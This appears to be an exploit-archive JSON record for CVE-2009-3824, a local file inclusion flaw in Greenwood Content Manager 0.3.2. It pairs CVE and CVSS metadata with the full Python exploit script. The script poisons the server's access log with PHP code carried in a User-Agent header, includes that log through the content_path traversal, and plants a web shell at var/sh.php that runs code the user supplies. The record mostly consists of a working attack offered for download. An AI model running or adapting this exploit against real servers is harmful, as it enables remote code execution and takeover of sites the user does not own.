{"exploit":{"id":"EDB-9156","name":"Greenwood Content Manager 0.3.2 - Local File Inclusion (LFI)","description":"Greenwood Content Manager 0.3.2 - Local File Inclusion (LFI)","cves":["CVE-2009-3824"],"author":"Khashayar Fereidani","published":"2009-07-15","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/9156","path":"exploits/php/webapps/9156.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-9156.py","vulnerabilities":[{"id":"CVE-2009-3824","state":"PUBLISHED","title":null,"titleSource":null,"description":"Directory traversal vulnerability in include/processor.php in Greenwood PHP Content Manager 0.3.2 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the content_path parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3824","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-3824"},"updatedAt":"2024-08-07T06:38:30.595Z","retrievedAt":"2026-11-26T15:09:48.678Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-9156.png?v=2","url":"https://exploitbin.com/exploits/EDB-9156","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-9156/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-9156/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n#####################################################################################\n####            Greenwood Content Manager Remote Code Execution                  ####\n#####################################################################################\n#                                                                                   #\n#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #\n#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #\n#Our Site : http://ircrash.com                                                      #\n#My Official WebSite : http://r3dw0rm.ir                                            #\n#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr)            #\n#####################################################################################\n#                                                                                   #\n#Download : http://garr.dl.sourceforge.net/sourceforge/greenwood/greenwood-release-0.3.2.tar.bz2\n#                                                                                   #\n#Dork :  :(                                                                           #\n#                                                                                   #\n#####################################################################################\n#                                      [Bug]                                        #\n#                                                                                   #\n#http://[site]/[path]/include/processor.php?content_path=[evil_code_path]           #\n#                                                                                   #\n###################################### TNX GOD ######################################\nimport sys,httplib,urllib\nif len(sys.argv) < 3 :\n    print \"\\n\\rUsage : \" + sys.argv[0] + \" [site] [path]\\n\\r\"\n    print \"Ex : \" + sys.argv[0] + \" 123.com /greenwood/\\n\\r\"\n    print \"Powered by : Sina Yazdanmehr( R3d.W0rm )\\n\\r\"\n    print \"http://IrCrash.com - http://R3dW0rm.ir\\n\\r\"\n    exit()\nif 'http://' in sys.argv[1] :\n    sys.argv[1]=sys.argv[1].replace('http://','')\nprint \"Input evil code.( With out ' and <??> )( Ex. include $_GET[file]; )\\n\\r\"\nshell=raw_input('Code : ')\nuser_agent={'User-Agent':'<?php fwrite($fp=fopen(\"../var/sh.php\",\"w+\"),\\'<?php /* Exploited by : R3d.W0rm - http://r3dw0rm.ir */ ' + shell + '?>\\');fclose($fp); ?>'}\nconn=httplib.HTTPConnection(sys.argv[1],80)\nconn.request(\"POST\",'/' + sys.argv[2] + '/','',user_agent)\nresponse=conn.getresponse().read()\nurllib.urlopen('http://' + sys.argv[1] + '/' + sys.argv[2] + '/include/processor.php?content_path=../var/access_log')\nprint \"\\n\\rShell created : http://\" +  sys.argv[1] + sys.argv[2] + \"/var/sh.php\\n\\r\"\n\n# milw0rm.com [2009-07-15]","sha256":"04d69aadaafdffacc9e4016e7b5fd106370871861849f929cb4c6fca50843da7","bytes":2853,"fetchedAt":"2026-11-26T15:09:44.105Z","encoding":"utf-8 (display only; download retains original bytes)"}